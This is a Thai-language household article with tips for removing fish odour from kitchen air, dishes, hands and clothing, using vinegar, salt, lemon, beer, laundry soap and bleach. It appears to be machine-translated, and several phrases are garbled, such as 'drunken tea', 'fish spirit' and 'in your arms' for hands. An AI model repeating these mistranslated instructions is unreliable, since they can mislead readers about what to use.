คุณสามารถกำจัดกลิ่นอันไม่พึงประสงค์ของปลาในห้องครัวได้ด้วยการต้มน้ำเล็กน้อยพร้อมน้ำส้มสายชูบนเตาในชามแบบเปิด หลังจากผ่านไปสักครู่ ให้ระบายอากาศในห้อง เพื่อจุดประสงค์เดียวกัน คุณสามารถใส่เปลือกส้มหรือมะนาวบนเตาที่ให้ความร้อนหรือโรยเกลือเล็กน้อยบนเตาร้อน วางกระทะที่มีกากกาแฟไว้บนไฟ แล้วกลิ่นหอมของกาแฟจะเข้ามาแทนที่กลิ่นอันไม่พึงประสงค์ทั้งหมดอย่างรวดเร็ว

คุณยังสามารถต้มน้ำด้วยกานพลูหรืออบเชยได้

วิธีกำจัดกลิ่นคาวจากจาน?
อาหารที่ปรุงปลายังคงมีกลิ่นเฉพาะอยู่เป็นเวลานานเพื่อกำจัดมันคุณต้องเช็ดหม้อหรือกระทะด้วยชาขี้เมา
กลิ่นปลาจะหายไปหากคุณเช็ดด้วยมัสตาร์ดแห้งก่อนล้างจาน

คุณยังสามารถกำจัดกลิ่นปลาได้ด้วยการเช็ดจานด้วยเกลืออุ่นแล้วล้างด้วยน้ำเย็น

หากกลิ่นของปลายังคงอยู่บนช้อนส้อมและจานคุณต้องล้างพวกมันด้วยน้ำสบู่เย็น ๆ จากนั้นทาด้วยน้ำมันพืชแล้วเช็ดให้สะอาดด้วยผ้าขนหนู
หากจำเป็น ให้ล้างอีกครั้งด้วยน้ำสบู่และน้ำไหล

วิธีเอาปลารมควันออกอย่างรวดเร็ว กลิ่นในอ้อมแขนของคุณ?
การล้างมือด้วยสบู่ไม่มีประโยชน์ กลิ่นของปลารมควัน (ปลาแมคเคอเรล แฮร์ริ่ง ปลาซาร์รี่) ยังคงอยู่บนนิ้วของคุณ ในกรณีนี้ ไม่แนะนำให้ล้างมือด้วยน้ำร้อนหรือน้ำอุ่นเป็นพิเศษ กลิ่นจะแรงขึ้นเท่านั้น

แล้วคุณควรล้างมือด้วยอะไร? ...เบียร์จะมาช่วยดับกลิ่นเนื้อรมควัน ใช่แล้ว - เบียร์ ยิ่งไปกว่านั้นทั้งแสงและความมืดก็เหมาะสมคุณยังสามารถดื่มเบียร์ที่ไม่กรองได้อีกด้วย หากคุณกินปลานอกบ้าน เพียงเทเบียร์เล็กน้อยบนนิ้วของคุณเหนือหญ้าแล้วถูบนฝ่ามือ จากนั้นเพียงล้างมือด้วยน้ำสะอาด

หากคุณอยู่ที่บ้าน ให้ใช้สำลีพันก้านหรือผ้ากอซชุบเบียร์ จากนั้นเช็ดนิ้วของคุณ จากนั้นล้างมือด้วยสบู่และน้ำเย็น หากกลิ่นปลารมควันไม่หายไปในครั้งแรกให้ถูนิ้วด้วยเบียร์อีกครั้งกลิ่นจะหายไปอย่างแน่นอน

วิธีกำจัดกลิ่นคาวจากมือ?
ล้างมือด้วยน้ำเกลือเย็นๆ ถูด้วยน้ำมะนาวแล้วล้างออกด้วยน้ำเย็น

วิธีกำจัดกลิ่นคาวบนเสื้อผ้า?
ก่อนซัก ให้แช่เสื้อผ้าประมาณสี่สิบนาทีในน้ำส้มสายชู 2 ช้อนโต๊ะในน้ำอุ่น 2 ลิตร จากนั้นซักเสื้อผ้าด้วยสบู่ซักผ้า ยิ่งสบู่มีสีเข้มมากเท่าไรก็ยิ่งดีเท่านั้น เนื่องจากมีสารอัลคาไลมากกว่า

นอกจากนี้เกลือแกงเข้มข้นยังช่วยขจัดกลิ่นปลาออกจากเสื้อผ้าได้ดีอีกด้วย

หากเสื้อผ้าเป็นสีขาวคุณต้องต้มผ้าด้วยสบู่ซักผ้าเป็นเวลาครึ่งชั่วโมง (ขูดบนเครื่องขูดหยาบ)
ล้างออกหลายครั้ง เติมน้ำส้มสายชูบนโต๊ะหนึ่งช้อนโต๊ะเมื่อคุณล้างเป็นครั้งสุดท้าย
หากคุณซักผ้าในฤดูหนาว ให้ลอง "แช่แข็ง" เสื้อผ้าสะอาดที่ระเบียง

เนื่องจากการกำจัดกลิ่นคาวออกจากเครื่องครัว จานชาม และผิวหนังมือนั้นค่อนข้างง่าย ไม่มีอะไรนอกจากการซักเสื้อผ้าที่จะช่วยคุณได้

เพื่อให้แน่ใจ เราปฏิบัติตามอัลกอริทึมต่อไปนี้:

• แช่เสื้อผ้าที่ทำจากผ้าทนนาน 30-40 นาทีในสารละลายที่ประกอบด้วยกรดอะซิติก 9% 150 มล. ต่อน้ำร้อน 5 ลิตรแล้วล้างออก
• ซักมือด้วยสบู่ซักผ้า สีเข้มจะดีกว่า - มีความเป็นด่างมากกว่า คุณสามารถแช่มันในสารละลายสบู่ได้สักพัก
• จากนั้นนำสิ่งของไปใส่ในเครื่องซักผ้า ตั้งโปรแกรมอุณหภูมิไว้ที่ 40 องศา เราใช้ผงซักฟอก ล้างออกด้วยครีมนวดผม หากคราบยังสดอยู่ วิธีนี้น่าจะช่วยได้ทันที

คำเตือน! วิธีนี้ไม่เหมาะกับผ้าที่บอบบางมาก

ขจัดกลิ่นคาวจากเสื้อผ้าประเภทต่างๆ

เคล็ดลับทั้งหมดในการทำให้วิญญาณปลาเป็นกลาง ได้แก่ การแช่เสื้อผ้าไว้ล่วงหน้า โดยเฉพาะอย่างยิ่งหากคราบเก่า การแช่จะดำเนินการในองค์ประกอบต่างๆ:

• กรดซิตริกหรือน้ำมะนาวที่ผลิตในเชิงพาณิชย์ กำจัดกลิ่นปลาที่ดูดซึมได้อย่างมีประสิทธิภาพ
• เบกกิ้งโซดา หลังจากกระบวนการแช่ คุณสามารถใส่ผ้าลงในเครื่อง เติมผงและซักได้ ล้างออกด้วยครีมนวดผม
• สารละลายเกลือแกงที่อิ่มตัวช่วยขจัดกลิ่นปลาออกจากเสื้อผ้าได้อย่างง่ายดาย เหมาะกว่าในการขจัด "กลิ่น" จากผ้าไหมและผ้าขนสัตว์ เตรียมน้ำเกลือตั้งแต่ 1 ช้อนโต๊ะ เกลือ 1 ช้อนต่อน้ำ 200 มล. ถูคราบแล้วแช่ไว้ ล้างออกหลังจากผ่านไป 1–1.5 ชั่วโมง ซักเครื่องตามปกติโดยใช้น้ำยาปรับผ้านุ่ม
• ผ้าที่ทนทานสามารถแช่ในน้ำที่มีอุณหภูมิสูงเป็นเวลา 40 นาที โดยเติมน้ำส้มสายชูแล้วล้างออก จากนั้นจึงซักตามปกติ

เมื่อคุณต้องการขจัดกลิ่นออกจากผ้าฝ้ายสีขาว คุณต้องต้มพวกมันในสบู่ซักผ้าสูตรเข้มข้นขูดบนเครื่องขูดหยาบ ต้มประมาณ 30 นาที ล้างหลายๆ ครั้ง โดยเติม 1 ช้อนโต๊ะในการล้างครั้งสุดท้าย น้ำส้มสายชูหนึ่งช้อน
สารฟอกขาวที่ใช้ออกซิเจนจะช่วยขจัดวิญญาณของปลาออกจากเสื้อผ้าสีขาวที่ทำจากผ้าเนื้อบาง สารฟอกขาวที่มีคลอรีนอาจทำให้ผ้าเสียหายได้ นอกจากขจัดคราบแล้วยังช่วยขจัดกลิ่นปลาอีกด้วย สารฟอกขาวสมัยใหม่นั้นเป็นสากล คุณเพียงแค่ต้องเลือกการเตรียมการที่เหมาะสม

วิธีกำจัดกลิ่นปลาบนเสื้อผ้าด้วยวิธีที่แปลกใหม่

นอกเหนือจากวิธีการที่คุ้นเคยและผ่านการทดสอบตามเวลาแล้ว ยังมีวิธีทดลองใหม่ๆ ที่กำลังเกิดขึ้นอีกด้วย
เนื่องจากสารเคมีในครัวเรือนสมัยใหม่ทำให้สามารถค้นหาวิธีการที่มีประสิทธิภาพมากขึ้นได้

คุณสามารถค้นหาสูตรอาหารต่อไปนี้ได้ในฟอรัม:

ความสำเร็จในการกำจัดกลิ่นคาวอันไม่พึงประสงค์นั้นขึ้นอยู่กับความเร็วของปฏิกิริยาของคุณ ยิ่งการปนเปื้อนเกิดขึ้นเร็วเท่าใด ความหวังในการจัดการกับมันก็ยิ่งมากขึ้นเท่านั้น

• ก่อนซัก คุณสามารถห่อเสื้อผ้าที่เปื้อนด้วยกระดาษหรือหนังสือพิมพ์ได้ทันที กลิ่นจะไม่กระจายและแผ่นกระดาษจะดูดซับบางส่วน
• หลังจากซักแล้ว สภาพที่ดีที่สุดในการอบแห้งคือสถานที่ที่มีการระบายอากาศดี: บนถนนหรือบนระเบียง ผึ่งให้แห้งและระบายอากาศจนกลิ่นหายไปหมด

หากเสื้อผ้าที่บำบัดด้วยวิธีที่ทราบทั้งหมดยังคงมีกลิ่นอยู่ ก็มีนวัตกรรมอีกอย่างหนึ่ง สารทำให้เป็นกลางสำหรับกลิ่นต่าง ๆ ที่ปรากฏในตลาดช่วยแก้ปัญหาในการกำจัดกลิ่นได้อย่างสมบูรณ์ สูตรออกฤทธิ์ของผลิตภัณฑ์เหล่านี้ประกอบด้วยเอนไซม์ธรรมชาติที่ทำหน้าที่เกี่ยวกับแหล่งที่มาของกลิ่น

การหาวิธีกำจัดกลิ่นปลาเป็นสิ่งสำคัญหากสิ่งของที่สกปรกนั้นไม่มีมูลค่าเป็นพิเศษ และคุณยินดีที่จะเสี่ยงในการพยายามจัดการด้วยตัวเอง มิฉะนั้นจะเป็นการดีกว่าถ้าติดต่อบริการในครัวเรือนทันที ผู้เชี่ยวชาญด้านซักแห้งจะช่วยรักษาเสื้อผ้าของคุณ